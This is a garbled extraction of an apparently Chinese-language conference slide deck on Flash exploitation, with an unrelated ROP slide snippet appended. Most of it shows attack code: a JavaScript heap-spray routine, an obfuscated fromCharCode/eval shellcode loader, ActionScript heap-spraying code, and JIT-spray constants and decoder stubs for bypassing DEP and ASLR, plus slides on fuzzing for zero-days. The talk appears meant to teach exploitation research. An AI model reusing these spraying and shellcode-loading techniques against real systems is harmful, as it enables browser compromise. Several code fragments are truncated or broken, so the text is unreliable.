Flash Exploit

Size: px

Start display at page:

Download "Flash Exploit"

呈龚
7 years ago
Views:

1 Nanika

2 魔術

3 薩斯頓三原則表演之前絕對不透漏接下來的表演內容不在同一時間地點對相同的觀眾變同樣的表演 2 次以上表演過後, 絕不向觀眾透露表演的秘密

5 Windows 防護弱點機制 /GS SafeSEH DEP ASLR

6 突破

7 破解魔術手法

8 一般弱點利用

9 Fish 應用範圍

10 成功魔術的需求

11 手法 ( 弱點利用 )

12 Why Spraying Not control precisely Not control Universal 12

13 NOP NOP 0x0c0c0c0c OR AL,0C 0x0d0d0d0d 0d OR EAX,0D0D0D0D 0x0a0a0a0a OR CL,BYTE PTR DS:[EDX] 0x0b0b0b0b OR ECX,DWORD PTR DS:[EBX] 0x0c0b0c0b OR AL,0B 0x ADC AL,14. 13

14 Not control precisely esi=0x mov eax,esi mov ecx,[eax] call [ecx+0x8] Offset 0x10 MEM 0x AAAAAAAAAAAAAAAA Offset 0x20 MEM 0x BBBBBBBBBBBBBBBBB 0a 0b 0c 0d 14

15 Not control esi=0x0c not control mov eax,esi mov ecx,[eax]//no access call [ecx+0x8] 0x0c b 0b 0c 0d 15

16 Universal XP Stack overflow 0x0013ffac//cookie 0x0013ffb0//ret 0x0013ffc0 0x0013ffe0//seh 0x0013fff0 0x //no access 2000 Stack overflow 0x0013ffa0 0x0013ffbc//cookie 0x0013ffc0//ret 0x0013ffe0 0x0013fff0//seh 0x //no access 16

17 Classic javascript heap spraying var heapspraytoaddress = 0x ;//var payloadcode = unescape("%ue8fc%u ); var heapblocksize = 0x100000; var payloadsize = payloadcode.length * 2; var sprayslidesize = heapblocksize - (payloadsize+0x38); var sprayslide = unescape("%u0c0c%u0c0c"); sprayslide = getsprayslide(sprayslide,sprayslidesize); heapblocks = (heapspraytoaddress - 0x10C000)/heapBlockSize; memory = new Array(); for (i=0;i<heapblocks;i++) {memory[i] = sprayslide + payloadcode;} function getsprayslide(sprayslide, sprayslidesize) {while (sprayslide.length*2<sprayslidesize) } {sprayslide += sprayslide;} sprayslide = sprayslide.substring(0,sprayslidesize/2); return sprayslide; 17

18 JavaScript Encode <html><body><button id="helloworld" onclick="blkjbdkjb();" STYLE="DISPLAY:NONE"></button></script><script language="javascript">var strtmp = String.fromCharCode(102,117,110,99,116,105,111,110,32,101,1 01,106,101,101,102,101,40,41,123,118,97,114,32,115,61,117,1 10,101,115,99,97,112,101,40,34,37,117,48,101,101,98,37,117, 52,98,53,98,37,117,99,57,51,51,37,117,102,54,98,49,37,117,51,52,56,48,37,117,101,101,48,98,37,117,102,97,101,50,37,117,4 8,53,101,98,37,117,101,100,101,56,37,117,102,102,102,102,37,117,48,55,102,102,37,117,101,101,52,97,37,117,101,101,101, 101,37,117,56,97,98,49,37,117,100,101,52,102,37,117,101,101,101,101,37,117,54,53,101,101,37,117,101,50,97,101,37,117,5 7,101,54,53,37,117,52,51,102,50,37,117,56,54,54,53,37,117,54,53,101,54,37,117,56,52,49,57,37,117,98,55,101,97,37,117,97, 97,48,54,37,117,101,101,101,101,37,117,48,99,101,101,37,117,56,54,49,55,37,117,56,48,56,49,37, );var ee = eval;ee(strtmp); 老梗還拿出來講 18

19 Flash 當防毒軟體針對 JavaScript 做了動態語意分析之後, 使用各種 Encode 技術通常無法欺騙防毒軟體, 最多只能作到欺騙分析人員增加分析人的作業時間 Flash 使用者非常的普及, 任何有安裝瀏覽器的都有安裝 Flash JavaScript 做得到的 Flash 大部分都做得到 19

20 防護目前最頭痛問題沒有防不了的東西不知道的東西防不了似好似壞游走邊緣的

21 Flash Spraying public function MainTimeline() {addframescript(0, frame1);return;}// end function function frame1(){ shellcode = new ByteArray(); shellcode.writebyte(144); b = "\f\f\f\f";a = "\x0d\x0d\x0d\x0d"; while (b.length < (shellcode.length+64))// )// ) { b = b + a;} bytearr = new ByteArray(); gy = new ByteArray(); gy.writemultibyte(b, "iso "); bytearr.writemultibyte(gy, "iso "); bytearr.writebytes(shellcode, 0,shellcode.length); gy1 = new ByteArray(); gy1.writebytes(bytearr, 0,byteArr.length); gy2 = new ByteArray(); gy2.writebytes(bytearr, 0,byteArr.length); return; 21

22 Why Not To Do This? var c=0; var gy1:array = new Array(); while (c < 128)// )// ) { gy1[c] = new ByteArray(); gy1[c].writebytes(bytearr,0,bytearr.length); c=c+1; } 22

23 Flash Spraying can not bypass DEP 23

24 JIT(BlackHat DC 2010) var y=(0x ^0x ^0x ); 0x909090: XOR EAX, x909095: XOR EAX, x90909A: XOR EAX, x909091:44 INC ESP 0x909092:3322 XOR ESP,[EDX] 0x909094: ADC [ ],ESI 0x90909A: XOR EAX,

25 var ret=(0x3c909090^0x3c909090^0x3c909090^0x3c909090^ ); 0x1A1A0100: C XOR EAX, 3C x1A1A0105: C XOR EAX, 3C x1A1A010A: C XOR EAX, 3C x1A1A010F: C XOR EAX, 3C x1A1A0101: 90 NOP 0x1A1A0102: 90 NOP 0x1A1A0103: 90 NOP 0x1A1A0104: 3C35 CMP AL, 35 0x1A1A0106: 90 NOP 0x1A1A0107: 90 NOP 0x1A1A0108: 90 NOP 0x1A1A0109: 3C35 CMP, AL 35 25

27 JIT Shellcode mov edi, 0x7946c61b mov al,0x1b push al CMP AL,0x35 inc esp inc esp inc esp CMP AL,0x35 inc esp inc esp NOP CMP AL,0x35 mov al,0xc6 push al CMP AL,0x35 inc esp inc esp inc esp CMP AL,0x35 inc esp inc esp NOP CMP AL,0x35 mov al,0x46 push al CMP AL,0x35 27

28 A D9D0 FNOP C 54 PUSH ESP D 3C 35 CMP AL, F 58 POP EAX NOP NOP C 35 CMP AL, A F4 PUSH -0C POP ECX C 35 CMP AL, C8 ADD EAX,ECX B 90 NOP C 3C 35 CMP AL, E D930 FSTENV DS:[EAX] 0x1A1A0110: 803F6E CMP [EDI], 'n' 0x1A1A0113: 6A35 PUSH 35 0x1A1A0115: 75EF short jnz 28

29 Decoder flow 0x1A1A0101: Decoder 0x1A1A0102: Decoder 0x1A1A0103: Decoder 0x1A1A0104: 3C35 CMP AL, 35 0x1A1A0106: Decoder 0x1A1A0107: Decoder 0x1A1A0108: Decoder 0x1A1A0109: 3C35 CMP, AL 35 0x1A1A010A: Magic 0x1A1A010B: Magic 0x1A1A010C: Magic 0x1A1A010D: 3C35 CMP, AL 35 0x1A1A010E: Encode Shellcode 0x1A1A010E: Encode Shellcode 0x1A1A010E: Encode Shellcode 0x1A1A010D: 3C35 CMP, AL 35 29

30 ALSR(Address space layout randomization) 30

31 JIT Spraying(1) function pageloadex() { var ldr = new Loader(); var url = "jit_s0.swf"; var urlreq = new URLRequest(url); ldr.load(urlreq);childref = addchild(ldr); } function pageload() { for(var z=0;z<2400;z++){pageloadex();} } function Loadzz1() { Security.allowDomain("*"); pageload(); } 31

32 WinXP Vista Win7 32

33 Bypass ASLR 33

34 JIT Spraying(2) <object classid="clsid:d27cdb6e-ae6d-11cf-96b " codebase=" ersion=6,0,29,0" width="0" height="0" id="myflash"> <param name="movie" value="bb.swf"> <param name="quality" value="high"> <param name="fullscreen" value="true"><param name="scale" value="exactfit"> <embed src="bb.swf" quality="high" pluginspage=" type="application/xshockwave-flash" width="800" height="600"> </embed> </object> <object classid="clsid:d27cdb6e-ae6d-11cf-96b " codebase=" ersion=6,0,29,0" width="0" height="0" id="myflash"> <param name="movie" value="bb2.swf"> <param name="quality" value="high"> <param name="fullscreen" value="true"><param name="scale" value="exactfit"> <embed src="bb2.swf" quality="high" pluginspage=" type="application/xshockwave-flash" width="800" height="600"> </embed> </object> 34

35 WinXP & Vista 35

36 WinXP 36

37 Vista 37

38 PDF & Flash Acrobat 9.2 default Enable DEP Acrobat default support Flash Adobe: Turn off JavaScript in PDF Reader 38

39 WinXP PDF & One Big Flash 39

40 WinXP Vista Win7 40

41 Include Flash 41

42 創造 ( 尋找新的魔術 - 0day)

43 0day 自己找等別人寄收到也不知道什麼是 0day 可以吃嗎?

44 第一等人, 是創造機會的人第二等人, 是發現機會的人第三等人, 是等待機會的人第四等人, 是錯失機會的人您是第幾等的人呢??

45 要怎樣尋找 0day 測試測試測試不斷測試天公疼憨人

46 0x66->0x40

47 收集大量範本需要大量機器資源範本丟入測試自由活動定時觀察報告

48 有誰在自動測試弱點? MS O 安全研究員 O 防毒? 地下駭客 O 政府? 軟體開發廠商?????

49 要怎樣收穫就要怎樣栽不要守株待兔安全還是靠自己最好有興趣加入或贊助自動化測試弱點計畫來信寄到

50 Thank you Q & A

ROP_bamboofox.key

ROP_bamboofox.key ROP Return Oriented Programming Lays @ BambooFox Who Am I Lays / L4ys / 累死 - l4ys.tw Reverse Engineering BambooFox / HITCON Outline Buffer Overflow ret2libc / ret2text Return Oriented Programming Payload